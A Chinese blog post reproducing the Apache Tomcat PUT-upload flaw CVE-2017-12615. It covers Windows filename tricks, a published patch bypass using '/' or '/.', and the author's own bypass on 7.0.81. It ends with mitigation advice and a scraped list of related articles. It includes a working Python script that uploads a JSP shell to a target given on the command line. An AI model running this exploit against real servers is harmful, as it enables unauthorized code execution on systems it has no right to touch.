Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass
0x00 漏洞简介
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞。
漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。
其中 远程代码执行漏洞(CVE-2017-12615)
影响: Apache Tomcat 7.0.0 - 7.0.79
漏洞触发条件:
1,tomcat得架设在windows主机上
2,将readonly由默认值true设置为false。(开启http PUT 方法)
攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
该漏洞由360观星实验室发现并提交。
官方在确认漏洞并在tomcat 7.0.81中修复。
0x01 漏洞演绎:漏洞复现
需要的环境:
1,tomcat 版本低于7.0.81
2,burpsuite
官网上在7.0.81出来之后就找不到低于该版本的了,在csdn下了一个7.0.65的免安装版。
jdk的配置与及环境变量的配置就不多说了。配置好conf/web.xml的readonly 为 false。如下图

startup启动tomcat,环境就算搭好了。
漏洞利用姿势有两种:
1,利用windows对文件名的要求特性。倘若文件名最后的一个字符是空格或者点号,会被自动去掉。
利用空格

利用点号

2,利用windows的ntfs文件流特性。关于文件流请看这里(https://msdn.microsoft.com/en-us/library/dn393272.aspx)

至于原理可以参考先知的分析(http://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
0x02 漏洞演绎:bypass 补丁
在各方大佬对官方的的补丁进行分析,fuzz之后,发现了在文件名后加多一个'/' 或者'/.',可以直接bypass 补丁,攻击范围也从仅限于的windows扩展到windows和linux,漏洞影响版本也从仅影响7.x版本,直接日穿5.x到9.x所有版本。
漏洞影响:
版本:5.x-9.x
平台:windows,linux
bypass 补丁环境准备:
1,tomcat 7.0.81
2,burpsuite
修改好readonly,开始测试。
利用'/'

利用'/.'

0x03 漏洞演绎:我的bypass
在对多个版本进行复现,测试的时候,我也发现了一个'bypass',有些鸡肋,充其量应该算是补丁的缺陷吧。
1,版本仅限于7.0.81;
2,平台仅限于windows;
bypass 思路:先put请求一个服务器上面存在的jsp文件,如index.jsp%20,再put 我们自己的shell.jsp%20,神奇的发现创建了shell.jsp。测试了很久,发现只有%20可以过。
比如tomcat服务器上肯定存在index.jsp。
先put index.jsp%20 ,提示409

再put shell.jsp%20,可以发现成功创建了shell.jsp

在用burpsuite测试的时候,时不时会过不了。
写了个脚本,思路就清晰了不少。
#-*- coding:utf-8 -*- import requests
import sys
import random body = '<%out.println("hello ! This is my bypass shell");%>' urltemp = 'http://'+sys.argv[1]+'/index.jsp%20' # put the exists jsp,like the index.jsp
shellname = 'shell'+str(random.randint(1000,10000)) urlpoc = 'http://'+sys.argv[1]+'/'+shellname+'.jsp%20' urlnormal = 'http://'+sys.argv[1]+'/'+shellname+'.jsp' requests.put(urltemp,body) response = requests.put(urlpoc,body) code = response.status_code if code== 201:
print 'shell create'; response = requests.get(urlnormal)
code = response.status_code
if code == 200:
print 'Your shell: '+urlnormal
脚本是稳定的:

至于为什么会出现这种问题,得好好跟一下才知道了~~
0x04 修复方案:
认真检查tomcat 配置是否设置了readonly为false或者是否启用了PUT方法,设置readonly为true,禁用PUT方法!!
留意官方的最新补丁,及时升级!!
参考文章:
1,Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass(http://www.freebuf.com/vuls/148283.html)
2,Tomcat信息泄漏和远程代码执行漏洞分析报告(CVE-2017-12615/CVE-2017-12616)(https://mp.weixin.qq.com/s/wWkb079hUYOwDgVQqEqGZQ)
Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass的更多相关文章
- 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...
- 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞
漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...
- 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)
一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1 实验环境 操作机:windows 10 IP:192.168.1. ...
- Tomcat远程代码执行漏洞(CVE-2017-12615)修复
一.漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有Tomcat远程代码执行漏洞,当存在漏洞的Tomcat运行在Windwos主机上,且启用了HTTP ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞
漏洞名称: WordPress Woopra Analytics插件‘ofc_upload_image.php’任意PHP代码执行漏洞 CNNVD编号: CNNVD-201310-195 发布时间: ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
随机推荐
- 师兄写的一个JAVA播放器的源代码(转)
师兄写的一个JAVA播放器的源代码 MediaPlayer.java------------------------------------------------------------------ ...
- Ubuntu与Centos在登陆安全方面的比较
Ubuntu在安装时创建的普通用户默认具有sudo权限,默认root没有设置密码,可以通过自建用户来执行sudo passwd 为root设置密码;Centos在安装时创建的普通用户默认没有sudo权 ...
- 【Spring】整合SpringMVC、MyBatis
在使用xml配置方式的最佳整合方式: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns= ...
- 利用mvc filterconfig属性实现权限验证
好久没写过博客了,突然发现最后博客更新时间是2016年,感觉好长远 权限控制基本是所有cms系统或者进销存,或者几乎所有能和业务系统扯上关系的系统都要用上的一个模块,很多都想把这个模块独立出来,权限单 ...
- servlet请求编码与响应编码问题(编码不一致可能会导致乱码)
html中的编码 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&g ...
- Struts:文件上传下载
- 【Vue】Vue中的父子组件通讯以及使用sync同步父子组件数据
前言: 之前写过一篇文章<在不同场景下Vue组件间的数据交流>,但现在来看,其中关于“父子组件通信”的介绍仍有诸多缺漏或者不当之处, 正好这几天学习了关于用sync修饰符做父子组件数据双向 ...
- TOMCAT闪退。cmd执行startup.bat保错:the CATALINA_HOME environment variable is not defined correctly
从上图可以看出 是我们没有设置CATALINA_HOME变量 于是我设置了这个变量之后 ,再次重启,ok了
- JSP页面中<%!%>与<%%>与<%=%>
首先,我们要了解jsp运行原理.JSP的本质就是一个Servlet,JSP的运行之前会先被Tomcat服务器翻译为.java文件,然后在将.java文本编译 为.class文件,而我们在访问jsp时, ...
- Centos 7 PXE一键安装
author:JevonWei 版权声明:原创作品 192.168.198.134作为安装服务器,由httpd服务共享安装程序 192.168.198.134作为dhcp服务器,客户机获取IP 一.安 ...